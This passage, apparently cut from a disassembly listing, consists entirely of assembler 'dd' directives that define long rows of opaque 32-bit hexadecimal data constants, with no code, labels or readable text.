		dd 0B249E119h, 2CF32158h, 0C9CF0F1Dh, 5E9417A0h, 1960B59Bh
		dd 0F8F9BFF0h, 7B84A043h, 3E9C3E3Fh, 934C21Ch, 0E0D35FD8h
		dd 7B1158A6h, 0EC989125h, 8905C811h, 0D6CECB2Dh, 0D09FF822h
		dd 0E12CB668h, 0CCA91FAAh, 5800D5BFh, 0EAFFD88h, 0E1DB66Ch
		dd 3594DC15h, 0C8701389h, 0E0919874h, 3BBFB380h, 1CE6C772h
		dd 54AC37FFh, 18049CDEh, 0F244BAAEh, 0EDDA009Ch, 0C5F0B25Ch
		dd 0CDBD0065h, 6ADE2D25h, 3807E41Dh, 3BB1BF9Bh,	2F90B7A3h
		dd 9C4E0AD0h, 3AE3300h,	86ED9C21h, 0FF400072h, 36692A4Fh
		dd 742C0CA7h, 65277802h, 7C9F002Ch, 441DD9E8h, 7DE35012h
		dd 17ECD201h, 0D830FFD5h, 10CD00FBh, 0A165F50Bh, 0CFF88973h
		dd 0C00DE224h, 8DCED00h, 9D5B64h, 0E0674C93h, 0C43F319Fh
		dd 24987FE0h, 4B242E02h, 803C384Ah, 4664A698h, 74C44861h
		dd 0FE43E500h, 98CC2DE3h, 0F82D49Ch, 54AD75F5h,	15B14014h
		dd 0EC00D40Eh, 5A887ABAh, 24255E19h, 605408DEh,	2477681Bh
		dd 0E3590A00h, 0CF5AA255h, 86620119h, 0C1448CA5h, 540E2AE1h
		dd 40D401Dh, 5C6790C6h,	0DF229C8Bh, 0EBA43806h,	5E735Dh
		dd 0F0B90A85h, 177BD8Ah, 0A774973Dh, 0AC80A472h, 9911BCD8h
		dd 0F0B49744h, 0B33EABF4h, 4BAC0338h, 882D03CEh, 0F44A7CFh
		dd 0C6CD1DE8h, 0E41F6040h, 0F100429Bh, 0E90C41A8h, 1E5A4DFBh
		dd 415182D5h, 2003B5FAh, 9E742027h, 72037A42h, 0DBBF374Dh
		dd 3B39A1E0h, 1FA02C3Ah, 4F805EB4h, 97A92DA7h, 0EBF200E3h
		dd 0C9C276A2h, 8D00069Bh, 9E5B727Fh, 0F74BEFAh,	1621384Dh
		dd 0FF778181h, 0B761EEA3h, 0A87C602Ch, 4C7F6607h, 0C2001805h
		dd 0BC5E2D1Fh, 498C409Ch, 0D7006FDCh, 0E0919A05h, 2F7BC7DDh
		dd 0D010581Bh, 700775ABh, 80D48A30h, 994443D0h,	2054823Ah
		dd 18D0C312h, 79AE6BB1h, 9FA60028h, 67CB8FDh, 2B02CAD9h
		dd 622A26ADh, 1D14C146h, 0FB31111Ch, 4FE199D0h,	76A4287Bh
		dd 4B1338h, 1605EB7Dh
		dd 77C68B2h, 9EBB23FBh,	0E7029325h, 6B9D4CF9h, 91DB6008h
		dd 0B1C900D9h, 298CDAC7h, 0A54C32B7h, 0C8115F28h, 0ADCCE10h
		dd 46CBE307h, 0C9C0328Ah, 302FC0h, 357EEAF7h, 0F06CCC77h
		dd 102C8E58h, 0B001CD15h, 587F56E0h, 0B5D997FDh, 29DCB4h
		dd 0C1030E75h, 0E2C92E99h, 8032053Dh, 0E8267ECAh, 4878B16h
		dd 0EF96696Ah, 58F4C1A3h, 76B5122Eh, 60868088h,	5FC39F0Eh
		dd 45C10200h, 0A59E3AC5h, 3ED0FE24h, 0A32E4DFAh, 28131198h
		dd 0B484D4E1h, 2284DAE0h, 8982157h, 5B8E74BCh, 2CACE3B6h
		dd 0C203C319h, 8508898Eh, 0C48016B8h, 2EECABC6h, 924FB70h
		dd 0AC71349Fh, 0BC464C00h, 1463AB5Ch, 946CF091h, 0BCB9CB22h
		dd 5CC0603h, 5FA1A0FDh,	476A17ACh, 0AA8CC414h, 869BD828h
		dd 4D01189Eh, 4516B7Ah,	6FA6C0h, 0EF91CADAh, 96F1449Bh
		dd 795508A0h, 54FFFB2Bh, 0BC6F4D03h, 54F7A2A5h,	5BE04078h
		dd 78002E59h, 13F50E55h, 57EBC4h, 80C0944Ch, 0E86CEC4Ah
		dd 0D6B53A16h, 74E0148Dh, 4BE12504h, 3B80CC79h,	3C3A30A5h
		dd 9D1C9EB4h, 43BEC1E7h, 0C944B7F8h, 54EE40B8h,	0B9FA9C4Ch
		dd 5AF2C600h, 0C7BB7782h, 0CBC30034h, 98FFDA13h, 0A35CF93Bh
		dd 625A7388h, 19658C02h, 11F8995Ah, 0B0C47712h,	6ED7F81Fh
		dd 385D00BDh, 2585500Ah, 0D6CB00CEh, 5B61DBE7h,	66723C9Fh
		dd 0F1006AB0h, 14E5B3BCh, 2E69FFCCh, 8010F864h,	1F467F95h
		dd 0C6768563h, 7C225E5Ah, 78C3329Dh, 98678912h,	0F0163C24h
		dd 78A5D870h, 0C0D8857h, 4FBF3400h, 31C91645h, 2BD418C4h
		dd 0A1211049h, 2E45B4Ch, 0E648CCE3h, 8F68C0A9h,	27581263h
		dd 8150ADC9h, 54E0D46Eh, 5EC9542Ch, 9C9998C8h, 2274395Ch
		dd 0F964140Ch, 6C581066h, 0F44F1960h, 20007D29h, 67CF7E6Ah
		dd 0BE8DFFBh, 0C9BBF9D0h, 309D5468h, 1D4BD812h,	449C04B0h
		dd 0B49C1A61h, 0A7314280h, 3AA07A5h, 40092365h,	61C0B16Ah
		dd 585C4705h, 0BB0372CEh, 7446DDFBh, 0EC3881A1h, 4AAA50DCh
		dd 0DFD0C2EBh, 673F8320h, 1FCE58E3h, 80E5CF1Ch,	8F4709ABh
		dd 0B1049665h, 0D7FBFADAh, 25DE8092h, 3068B5C3h, 1101705Dh
		dd 0E1342512h, 6C236148h, 127A651Ch, 0F0F7F2h, 3998A64h
		dd 4ECE2C16h, 6BAC4018h, 0E8826346h, 9D3BA400h,	0E51E4765h
		dd 0C7080089h, 0C204E70Bh, 1B0B67C8h, 8E3B6661h, 97FC01D8h
		dd 0F0727C96h, 0F253E116h, 5A3A8058h, 0FCD8F09h, 8B73E206h
		dd 0E16D1B81h, 88237A41h, 3E5CECC5h, 40E7CBh, 8B639D80h
		dd 0F8F8FEB8h, 4C513A59h, 91851C59h, 0C8FCC8C4h, 64424500h
		dd 26AFC504h, 9AC60007h, 736FC04Eh, 22C5646h, 4A0E6C81h
		dd 61668FAAh, 75E03B26h, 89C50860h, 0A884312Ch,	5B71D4C9h
		dd 19B89048h, 5E309169h, 0D321CD02h, 80137792h,	5920B2F5h
		dd 0DE3B3F6Ch, 90892420h, 12AF1F21h, 0C51C270h,	74C4FFC6h
		dd 3430275Bh, 0E2B184Bh, 3B0A962Ah, 0F7102483h,	2F332822h
		dd 0D8AB6480h, 0C91600Eh, 0C896F006h, 555E8481h, 80BD20CCh
		dd 49C8DDEBh, 309A6461h, 4832E13Ah, 0D810C010h,	0A36B1370h
		dd 6D1F84A3h, 5570BFAh,	650ECCC5h, 0EA4008Dh, 24F0675Ah
		dd 80483CA9h, 5C747E8Ch, 0ACF89A97h, 1A1883Eh, 0AB48EC4Dh
		dd 6180D5C3h, 8479E4ADh, 0A20E5D08h, 632514D1h,	14E148E0h
		dd 0D8986891h, 0DCC86584h, 0FB0B2C5Ch, 84DE40CEh, 3A41D760h
		dd 0D2EB8F64h, 5403DC71h, 0F997300Fh, 0C9E493B2h, 31A2F319h
		dd 0B0380048h, 0D43268F2h, 5B131DDEh, 94C8C598h, 87649950h
		dd 24944EFDh, 0B8F319h,	0C86E8161h, 10A3DF1h, 0D846F7E0h
		dd 2323626Fh, 4D330080h, 18880AF5h, 0ADC70552h,	22DB9885h
		dd 6409F474h, 0B7420754h, 0E952028Dh, 3B071C00h, 0D4B0698Fh
		dd 31A0AD12h, 0B520DCA2h, 98F9DF40h, 0F67033Ch,	449FBC2Ah
		dd 7802E9E8h, 1D57F216h, 0B4638A4h, 4F19C2F7h, 510ED4C4h
		dd 0E0FDA7C1h, 856C6992h, 0E12C01EBh, 0A2F59814h, 6C602ED4h
		dd 3B022783h, 72C40Bh, 5562FB46h, 8FBC8B22h, 2A25E5E8h
		dd 0A9048625h, 9060B79h, 9CDA0563h, 0F8013670h,	0A2DB5C7Ah
		dd 8421EA0h, 60447E11h,	0B4615F09h, 50E46CFBh, 0AC009648h
		dd 69713B30h, 7B327775h, 9AFF1FF5h, 0CF0F003Dh,	0C9F854DCh
		dd 91076A74h, 41D63401h, 0E700CE7h, 255AA82Ah, 34E40573h
		dd 92619D28h, 8B4A7100h, 8A11C8A4h, 2AEE05FDh, 82DBFFCFh
		dd 2E1470h, 875928CBh, 95E17CBBh, 6EFD9490h, 6002652Fh
		dd 7C81208h, 92175C9Ch,	845E897Fh, 3EA02AC0h, 0FFE500ABh
		dd 72620A09h, 0C60A2890h, 64120137h, 0E619719Ah, 0A03C1C2Ch
		dd 2D9345FBh, 33909CD1h, 0D448755Ch, 0DB68C010h, 0B99FD33Bh
		dd 2DE83020h, 2A2DCD94h, 81D862D6h, 9B65283Ch, 0BE7F09C0h
		dd 696841C4h, 11BCE055h, 975DE012h, 2C630207h, 5B8DD690h
		dd 40F4A065h, 0AF60044h, 0B39B276Ah, 0A800F21Ch, 0F38016DFh
		dd 0AF68F5h, 593D08DDh,	323CF9D7h, 0B6A4F009h, 489C8090h
		dd 132A8CE5h, 0A49D0BA2h, 9708FEB0h, 648E5B12h,	30D0832h
		dd 8B1BA12Ch, 9C37C024h, 0CC207817h, 0A887503h,	0DD1C7DC6h
		dd 675F0096h, 4DBDF9CFh, 54223BEDh, 0C40E0BC5h,	2C78980Ch
		dd 68D0784Fh, 0E2D2EDB0h, 0BEA2Ah, 0A32DFB5Ch, 7AA2759Fh
		dd 58D4535Ch, 0FE04DC8Ch, 44AC8B4Eh, 0ABB4884Fh, 6000F0E2h
		dd 30A9EE3h, 48B0FF5Dh,	997A107Fh, 6070AEF8h, 0F6436C3h
		dd 18B5B111h, 82685500h, 0B83E5DEBh, 0F31C7C75h, 81AFBF6Eh
		dd 0CF5114Ch, 0C4522843h, 0E5F40B5Fh, 0B60E5094h, 13547779h
		dd 2C53DCC8h, 654983h, 0E871AD7Bh, 1F226A0h, 0DEEEB907h
		dd 23725F53h, 717C6228h, 0D01C00C0h, 0ACD337C4h, 0B9D9723Dh
		dd 0A146801Fh, 90C004EDh, 51A32AECh, 175B0EF8h,	9902A456h
		dd 0A8424CDCh, 3A4D645Ch, 0A70E0440h, 30464F44h, 0CED0FDF4h
		dd 161E0900h, 86954E76h, 0EAC0FCF8h, 4DB30112h,	11ACA359h
		dd 38C22EDBh, 11A45166h, 8CA3819Ch, 2988CE21h, 0A584CD5Dh
		dd 1C407E78h, 0BD9A1934h, 0E7571F00h, 2BD3319Ch, 26D67DECh
		dd 9F0F121h, 0D8D49A6Bh, 9B89688h, 0D010B43Ch, 23A6463h
		dd 5B057F98h, 12E1078Bh, 47108001h, 42A0F7Dh, 41759934h
		dd 7356B391h, 74E244D1h, 0F7A50EE8h, 83CC3793h,	6DF05649h
		dd 8400E8D5h, 0E63743BCh, 139D1E7h, 0B480B130h,	0B411FB3Ch
		dd 30EB38A9h, 0E59E2758h, 0A17D3900h, 0B83A6E47h, 988F619Ah
		dd 1D167h, 31E562A4h, 0B4D8BE8Ah, 0E0FCE551h, 109D17B6h
		dd 1EEF3378h, 0C0DAE422h, 0C9D29EEBh, 8D13E6CEh, 4C83A9Bh
		dd 48D73826h, 0D6771B8Bh, 0F4173080h, 60382A5h,	401637B4h
		dd 515F98F9h, 0B839802h, 0D8FA11D6h, 8CB130E4h,	4EC6C887h
		dd 0C48C05E5h, 0D45A393Bh, 4563419Ch, 0C3CE5C6Dh, 58E8D380h
		dd 0A0001720h, 0A711C413h, 0B75BB0h, 0BF8697DAh, 5D9C039Fh
		dd 0DB0972F2h, 359C685h, 8071782Ah, 3913381h, 0C8FB8D6Ah
		dd 81877789h, 0A31B4CE1h, 5C17B491h, 5D92A400h,	0D6030E61h
		dd 58DC02C8h, 2E0E213Bh, 0BA4A119h, 0AC5085D8h,	4B7336Ah
		dd 1166FE17h, 0C1EC874Bh, 80356994h, 4FA15C18h,	16AD7578h
		dd 0E3B9668h, 0C220C698h, 80FD93D6h, 7A76CB07h,	42506674h
		dd 51F76Bh, 2FCEC331h, 9E948C78h, 15D83706h, 0E74006ECh
		dd 3207C5EDh, 0C008C8CAh, 188BCD0Ch, 40405C35h,	78041C0Ch
		dd 2C2072A8h, 1F5E10B6h
		dd 0A56400EBh, 3619AF8Ah, 0B59B3E40h, 7CD94280h, 0C898F359h
		dd 0AA85D71Bh, 82358A40h, 10F03A74h, 108734FDh,	27E082Bh
		dd 25D588C6h, 65FB0882h, 3C5A3EEEh, 0A8521C20h,	0AB1B00EEh
		dd 7BEDB369h, 561D0C41h, 62C07F74h, 7C7E04EFh, 6C1202A0h
		dd 3BB45F3Eh, 4640E87Eh, 85AB42h, 0B695F49Ch, 8F688D7h
		dd 6100D370h, 0CA3DC11h, 58289807h, 8A712815h, 0E4B61940h
		dd 0E13C7409h, 3464C7h,	14F0E36Ah, 0D249891Eh, 0FFC19F13h
		dd 3C35F007h, 79EB09C8h, 2C08280Ah, 85200090h, 0FBCDFCD3h
		dd 10649B13h, 0F5972042h, 1C8077D2h, 2F35415Fh,	61D6B700h
		dd 9E041523h, 0C55E30CDh, 0A18DC20h, 200DA129h,	302A54E2h
		dd 0BC4EFB01h, 5C0024F2h, 283F2E9h, 90B73B90h, 39EF30D4h
		dd 94005B36h, 76EEFC63h, 8C1626A6h, 0F00421CDh,	0EA0E32h
		dd 72BF7BC0h, 0F175144Ah, 0E6C26302h, 0A0CE19C6h, 0BBA6D090h
		dd 4BC900BCh, 4A8CED42h, 1D09AEA2h, 8227E7CAh, 7A1869CDh
		dd 0CAA0008h, 1CF68C61h, 0CF03FB38h, 5B7C0655h,	56C480AFh
		dd 7FC112E7h, 2A3CD05Ch, 780430A6h, 15445A4Dh, 0C15F8003h
		dd 3420214Fh, 0F5836Dh,	0C5816ADAh, 2956308Ch, 6F50CF00h
		dd 6807B5FAh, 94250075h, 2E0545ACh, 96056531h, 6F44462h
		dd 0C09F24E8h, 585C90Bh, 77024D63h, 0E19EF457h,	2EAC6418h
		dd 2034C2FAh, 520303D9h, 807D32D0h, 97A9C1C3h, 88836E5Bh
		dd 0F7400012h, 0F1229DA2h, 0A0003696h, 0CF0D0132h, 2857097Bh
		dd 58B8AB48h, 9B075878h, 30D7FFCBh, 6538069Fh, 5D18A5EEh
		dd 0AD581DB4h, 0B297401h, 0B0D59DA4h, 2B558061h, 0D8CCB484h
		dd 291A0574h, 0C0AC9CA8h, 859084A1h, 16A23103h,	468C8197h
		dd 44C70411h, 0F4101C8Bh, 4604DF00h, 5AEFE797h,	2E900964h
		dd 9100E370h, 9D8EAC43h, 0DDF5320Ch, 88FB2906h,	0F400D191h
		dd 737924DBh, 1ED4B54h,	6BC907D8h, 0FCB48D64h, 2A1F02E3h
		dd 0DC0D9C2h, 0F5C78C0Bh, 7DEA3895h, 0F2737B83h, 0F080F928h
		dd 0B21DBE72h, 0C340C19Ch, 4859CE7Fh, 0F4A70069h, 97A623FDh
		dd 0C900D8E9h, 1CC204D2h, 1FF1A54Fh, 8C9E96C1h,	51D05517h
		dd 3AD9D100h, 4131D325h, 5F3C0FA4h, 5FFDC294h, 5B6E0F44h
		dd 0FD75C100h, 0C005978h, 0D093631Ch, 24B23F49h, 6E1B35h
		dd 69BBEA23h, 0BF00A4F6h, 41F9A579h, 0A18F9B61h, 0E87059A4h
		dd 0DE430076h, 0C4F65707h, 0EC00A10Dh, 0DCCCEFF2h, 7DADAB04h
		dd 253204BFh, 80A81E13h, 0F1CEBBEDh, 0D8B50806h, 12083CABh
		dd 713A622h, 20427574h,	92D938F6h, 0C5EFC100h, 748E9C5Eh
		dd 22A0005Ah, 5DCCB741h, 0CD2E3853h, 0E01CC8Ch,	0EC7D591Eh
		dd 0C817E0h, 0DA82A073h, 5C9A6FFh, 7601A971h, 160AFEA1h
		dd 0CCECE4CAh, 50978B6h, 0A23E8E33h, 9173800Bh,	0ACA4D027h
		dd 93F3650Fh, 0EC35004Dh, 9BDFE2h, 940A1490h, 5C29C092h
		dd 0C5FDD90Ah, 37838C80h, 0F065B538h, 0EEECC1h,	59692E07h
		dd 0C5E5B08Ch, 1E371200h, 8EE0BF60h, 3CF60001h,	0D45B8205h
		dd 0E500CB19h, 48B4956Ch, 0D2E129h, 99A1BAB1h, 0DB1EB376h
		dd 2B2FF600h, 0CFE55B0Dh, 0C12A00C2h, 3536BA55h, 2D72A178h
		dd 40325200h, 8A89CB15h, 31AF04FFh, 879ACE7Eh, 0B8C950E6h
		dd 0C6008CFBh, 0F6A364F4h, 0DAD53h, 869C4C36h, 0A02CC79Fh
		dd 5A469B00h, 74A7588Fh, 0F0C31E43h, 554B4356h,	9AE0C559h
		dd 0DC006A88h, 3E3BFDA9h, 7D3AD8DFh, 25EF4E4h, 70E06791h
		dd 0C040892Dh, 43FCCC1Ch, 4DB99400h, 0C9246C2Ah, 0A0A100AFh
		dd 0E9673150h, 9800A43Dh, 0A273CEF0h, 1FD94902h, 0F0DE4CDAh
		dd 7CC59D8h, 2681BA00h,	58864E9Eh, 11620054h, 0FD692937h
		dd 0A00FA0Bh, 0AE535942h, 1E512DBh, 98BF44CAh, 209FB56Bh
		dd 36788BB4h, 0F9578A06h, 0F0D866h, 38281FEAh, 0D2D051A5h
		dd 5CB07013h, 0F9331C00h, 3BCD0F9Ah, 0DB80B362h, 1E3BCBDDh
		dd 2103EA4Bh, 0ACB86474h, 48F6DAAAh, 181A0D8h, 241CD88Ah
		dd 80C5DBD1h, 7212B119h, 276102h, 0B9A1354Eh, 80109817h
		dd 0F9F0C400h, 1399183Ah, 20073204h, 8BC1D688h,	0A4E6C454h
		dd 45E97E00h, 911032DCh, 0C193000Ah, 9884CA67h,	225CC5C2h
		dd 2AD20683h, 0C030DBh,	839F9B5h, 496C0625h, 0B9CDC26h
		dd 0A274F000h, 0FCD4263h, 46755361h, 9CFDE3C0h,	83013E87h
		dd 0B4865E76h, 11801C15h, 0D35360B1h, 7B05C672h, 86CD6BA0h
		dd 0D039F000h, 4D545Dh,	0BA2A4673h, 0F0374FCBh,	9040CC00h
		dd 0F7500178h, 6AE6DEh,	0AB55F309h, 0CAED3423h,	3304C673h
		dd 1F071D6Fh, 0D3643FC0h, 6587002Fh, 58CE97A4h,	845EB082h
		dd 2A1C5AFCh, 9C964064h, 83CB24B1h, 0B43A1100h,	7FF39463h
		dd 0F9AD0035h, 8CCE10CAh, 0EF1F520Eh, 0BC404CC6h, 9BA13301h
		dd 26390076h, 486AB8BBh, 5B008EBEh, 179CE3D3h, 3BAB8Ah
		dd 1A51D4DDh, 0E8B33664h, 2CA8C007h, 2F079228h,	0BB4FE070h
		dd 54A7E215h, 39884A2h,	202E49B7h, 0F9B21126h, 7C1AA4E0h
		dd 9E43D300h, 27C26EF4h, 5B030063h, 0E547D5DEh,	0CF008F66h
		dd 0B805CAA9h, 76BC5135h, 13B3126Ch, 0EE74403Bh, 8C47A2A4h
		dd 8BEB1D00h, 0E2C1E904h, 0B53E016Fh, 8FA3D11Eh, 97DEC4C8h
		dd 550DDF6h, 0E100C1F8h, 69C9C6BFh, 78112C3Eh, 0AEAC00EAh
		dd 4A50D702h, 0B4074348h, 6F3F4D40h, 0E04E97E0h, 0AA6FCE5h
		dd 30C844FFh, 0FB800E4h, 415E3B46h, 80C29338h, 0A6EBD60Dh
		dd 8171D1h, 0F815AC76h,	60CDCA13h, 0E498C1EEh, 11BB9C00h
		dd 9433B8E3h, 0DD5B002Dh, 0DC0478D6h, 8F0EF452h, 0FA45460h
		dd 6DCB80DFh, 637D64h, 28967C40h, 1770BA0Eh, 4C9C1D4Ch
		dd 0F83C24E0h, 90148D40h, 12ABFE6Eh, 2413EAh, 47DAEBB4h
		dd 4F26F9CAh, 28248C95h, 1E861000h, 284535h, 87E8606Dh
		dd 835332AEh, 97778101h, 7593A5BFh, 1EB120h, 0D4BA560Bh
		dd 9C78E12h, 0A04E9900h, 416752BEh, 10400718h, 30780E49h
		dd 0D0DF02D8h, 9D4B8D00h, 0B26072EDh, 59630286h, 350798C7h
		dd 43AFC1C0h, 0B223300h, 480D19A1h, 97EF0378h, 72259C2Ah
		dd 6789FBDBh, 64C0C588h, 0A50D312Ch, 88A4A6C8h,	0EBF5C4C5h
		dd 0D2D9A440h, 0F8760064h, 2F0B5C7Bh, 0E500A666h, 0F6E05065h
		dd 48DCFC7Ah, 28005F8Dh, 610EE362h, 53EB8F4h, 8848AEAAh
		dd 920D8C80h, 0B30B5Dh,	0ACA9E5E9h, 0E6FE437h, 0A0BA497Ch
		dd 0F077DC22h, 7CFB0709h, 41D305C0h, 8F0365F4h,	80E30718h
		dd 914477BFh, 1319008Fh, 64D87F6h, 953AB6F0h, 0D1C10025h
		dd 0F3B5969Bh, 69B91821h, 0AB15584Eh, 89DDE90Eh, 0D9641ACh
		dd 90008AE3h, 0A8184D0Eh, 86118ED6h, 0A5160013h, 0AC99323Fh
		dd 4900DE20h, 0A86D848Bh, 0B1D0873h, 2FDFE789h,	1E55DC85h
		dd 0C1FC095h, 0E39B5DD8h, 5ECA381Dh, 0F0E40E87h, 0A69049A0h
		dd 0D3AC50BEh, 4C6C03BBh, 663F201Ch, 0DBB0EC00h, 30B1AA35h
		dd 8B7303DEh, 0C54FD7FAh, 0E064F0F8h, 6014AD00h, 43D0893Ch
		dd 0D88F6072h, 97168ECh, 0F48B3506h, 7196CDCh, 4D37DA17h
		dd 2F08706Fh, 0A2AC18Dh, 0D8FFB87Bh, 3D00E29Eh,	0C42D4B97h
		dd 0C751CF5h, 0D64A1A32h, 0C070318h, 0F0E9312Eh, 3062F3Fh
		dd 0C0ED7DD4h, 50F5DE5h, 0B7C43C5h, 720893D8h, 0AED435A8h
		dd 0FF0E6371h, 0EF36F071h, 0C80D01A8h, 28834C0Ah, 0BABEE870h
		dd 980B1806h, 1699595Fh, 0C04292Eh, 0DF68788Fh,	21030A00h
		dd 0B691973Ah, 7A1A19E6h
		dd 860DA0E3h, 0E90B93E8h, 0D84B0C81h, 0B858B35Eh, 0EF99660Ah
		dd 0E80688D3h, 7185DCAh, 59A0A11h, 2184B16Bh, 4F3CE016h
		dd 417094A0h, 0AE510D02h, 48550962h, 285C0548h,	10488288h
		dd 82394227h, 0E82622h,	7EDD4E0Fh, 54DEC8C3h, 0BAE81187h
		dd 8288B1B0h, 4FBC010Eh, 0FF50C02h, 3AE32020h, 0CCD4EA0Ah
		dd 88A3774h, 664A318h, 98A1B4C2h, 818E0D61h, 0D84D9BB9h
		dd 80BA8956h, 0F618C0F2h, 88393C8Eh, 0AC00009Ah, 15924871h
		dd 1D5CEB13h, 18E94B0Dh, 77CB2181h, 32594800h, 3D345D38h
		dd 2DD6019Ah, 0C40BC999h, 0C078A28Ch, 0C601A980h, 910C2092h
		dd 2087AC5Bh, 798C0CC2h, 51295EADh, 25CBC300h, 89AAE1E4h
		dd 8C966DCh, 9A002155h,	386CBBBh, 152246Eh, 7F7E6838h
		dd 0C1221984h, 7B60843Eh, 430EABE8h, 70BAB1F9h,	22071D52h
		dd 7ACDD773h, 0F7F1A2B0h, 49847E8Eh, 1700103Eh,	642D91CFh
		dd 0AB00B838h, 0F2DC7EF4h, 1DA7EAD9h, 47CABE10h, 504E91F5h
		dd 0A2D44103h, 0D001CEE8h, 85C5E589h, 9EC0C2BBh, 69C1393Fh
		dd 162F8A80h, 378007BDh, 419B7001h, 0CD9F7B57h,	0CCD80DEDh
		dd 8D90C3h, 0D559E75Eh,	0B8C52444h, 0E81B5400h,	5BF65838h
		dd 877B00A2h, 55945295h, 6900A349h, 17F5020Ch, 30AD2A7h
		dd 70F4BE05h, 9EA01BE9h, 96ECFFF1h, 0E7191E1Eh,	0E3062400h
		dd 39BE15ABh, 4570B05h,	7B14A7E0h, 38ED10C0h, 0F20DA083h
		dd 10D7094Dh, 650F1D0Ah, 0A9A7F700h, 0BC0C9603h, 297747EDh
		dd 23228459h, 11BD428Dh, 75217B99h, 90891E08h, 7DE984C1h
		dd 44D02144h, 9544B653h, 70464404h, 62421D48h, 21F924B7h
		dd 29127258h, 89B1BF10h, 802113CDh, 0ACCC41h, 3554D92Ch
		dd 0B8CF5D9Ah, 53DC1301h, 84529F3Eh, 3BC060h, 0BD781AFCh
		dd 51E0C23Ah, 664AC700h, 2DF16ECDh, 48A00025h, 0DCCAE2E1h
		dd 57005597h, 0FFBD0DCFh, 0F29FA7E8h, 5BFCE703h, 869200D3h
		dd 2E0BBBDEh, 8B0289FDh, 0DBFEC18Eh, 0B91F094h,	65764044h
		dd 13AD4C00h, 8400FBABh, 2D3260E1h, 26A3491h, 0F5AF8F90h
		dd 7CE0E222h, 120FDA7Eh, 0D3A83Ah, 0A1F13C5Ch, 1808E8B7h
		dd 4973D1FBh, 6871C9ACh, 1ED95Ch, 8C882811h, 7224143h
		dd 3BFA2ED7h, 65CEB086h, 0DC03D2CDh, 0DFBF31BBh, 0CB6AC8E3h
		dd 20C849FDh, 0A4640200h, 24AA82EDh, 11A0FF00h,	0BBC0200Eh
		dd 1CDAB0F4h, 411A2E1Ch, 439C539Eh, 7946DC68h, 271703Eh
		dd 0B6B48709h, 85C34037h, 70D16083h, 257A2357h,	33005492h
		dd 4B4DB938h, 7B8371Eh,	0EC68ADA5h, 0C4FB40D5h,	0B20021A2h
		dd 0C8ED3E20h, 0CF16B8h, 4B1051C6h, 764F7967h, 0BE589900h
		dd 56DB3246h, 0A1DA0015h, 0E6B19C89h, 0E90E9353h, 432881h
		dd 0EF3CFD8h, 0BAB8008Eh, 0DCBBC716h, 0E574E7A0h, 140087F4h
		dd 7E1E1F64h, 60C9A4C8h, 0C577F8E3h, 0CC0383F6h, 400D2108h
		dd 7910E0ECh, 95A50055h, 0C2BC9076h, 0AE1861AAh, 0FB7A4821h
		dd 7D5D1F3Dh, 6F6C4398h, 0F601B736h, 0FE4B7FEFh, 0DFD05857h
		dd 7263018Bh, 0AACECD02h, 0F28C40FBh, 0C9001088h, 71392174h
		dd 7BC4C51Bh, 423C00F4h, 0EFB40478h, 6A28B9FDh,	9B009CDEh
		dd 166C6260h, 0D6E2E8h,	4117708Ah, 0AB0EAD39h, 1100DBF2h
		dd 3CE9FB46h, 0FA06B4h,	0B7C87D61h, 56DF62C4h, 43A33900h
		dd 8BD7E7A9h, 42160075h, 5F3106D2h, 3B1EA737h, 0A94010F3h
		dd 0C0595EEFh, 6AE4003Eh, 19FD471Ah, 8524DF21h,	0C40B046Fh
		dd 0D3918435h, 8ACE0490h, 484C9807h, 0A3C1A04Dh, 6029516Bh
		dd 11C9CFEh, 68C08660h,	71BDC5F4h, 21F0019Dh, 0DDACD356h
		dd 1D4120DFh, 0AF583A1Dh, 0FB00CB2Ch, 0FEB55931h, 17E4E856h
		dd 0B21954h, 471EA4C9h,	0D3000AA3h, 0E8A7DBBAh,	874AE4h
		dd 43379E31h, 84BFC3C5h, 2D090400h, 856C64Fh, 5AAB01CFh
		dd 2ED3F6F2h, 58F8F8D6h, 8F029C3Bh, 0AA556091h,	0CA00A6E1h
		dd 0D1D46806h, 785F2832h, 308E04E4h, 0FC85A3h, 0A4F4B506h
		dd 5D2D3997h, 18592100h, 0A6E0BB51h, 5829D501h,	0E9C5A23h
		dd 0C294E8h, 4A1E6CBEh,	0F2C7543Ah, 80BCAE3Bh, 29612D7Bh
		dd 81DA3287h, 0B3D9E4D7h, 0A17A0600h, 0F891210Dh, 99690213h
		dd 7DE8A2Eh, 4D3FB040h,	2D2CFB00h, 4BA5B0DBh, 7F309002h
		dd 8CAD4808h, 27E2F503h, 11001A7Bh, 168DC1C7h, 562773Ah
		dd 1C3BFEC4h, 0CFD00057h, 15B9D2B5h, 5300F5E6h,	1402BC0Fh
		dd 0E26D70A8h, 4ACD005Ah, 0E8BC88Eh, 84000317h,	0EC8089DDh
		dd 0BC8A12h, 3A7D19A6h,	3E770513h, 0C800049Ah, 8FA25F62h
		dd 56657FFh, 0DCCFAE94h, 3CB80034h, 0F803432Ah,	53131578h
		dd 700750C0h, 78119D3Fh, 10E070B1h, 86540072h, 7643133Bh
		dd 48005C4Ch, 0D39FEA14h, 13D6821Dh, 0C0273CBh,	0B0780478h
		dd 0F9290E30h, 0E7D11CAh, 9E12ADDh, 0E6BF08E1h,	41EF709Dh
		dd 0EBFBAE00h, 0D921BB8Bh, 1FCD7D60h, 43E11A01h, 0D2EA8C4Ah
		dd 0F89064E0h, 72D7B500h, 0EC6E3EA3h, 5F5600A4h, 0CD502649h
		dd 0AB00BC7Fh, 71E5E265h, 1A88AAh, 0EBCB9667h, 0A6CA0739h
		dd 0C61B0600h, 6B4619F0h, 60C8F3A2h, 1850264h, 7E9E3404h
		dd 0B48AAC40h, 0E8C6E500h, 5D9DCF63h, 143F0076h, 1105751Bh
		dd 4D3DFCCEh, 4AB280C3h, 472BD07Ch, 1B57F03h, 8A9BDFE1h
		dd 200EDB7Bh, 0B21680CCh, 8000552Ah, 6F729563h,	9CB10057h
		dd 5D6E59EBh, 0AE65A92h, 0C2B08602h, 603D3A55h,	0C10CA8h
		dd 0D65F57C3h, 0EE84AA9Eh, 6E829200h, 1D5E4327h, 2F7A00FCh
		dd 3E1070Dh, 39038E4Eh,	946B8F6Fh, 88E800C3h, 6E1D3FA8h
		dd 1548D5CCh, 6FB54094h, 5AE8200h, 454F5D42h, 0CB6B123Dh
		dd 0BB0475Eh, 90F49525h, 0DAF58918h, 0A18D20Bh,	5B6000EDh
		dd 0CBF0184h, 0B380F7BAh, 790783F8h, 0B2F81E45h, 8296CA80h
		dd 4EFC1224h, 9761244h,	4C001002h, 3E1CE721h, 0A10087FAh
		dd 888A6255h, 755A3A13h, 1C92C1h, 834B9140h, 7CCD5139h
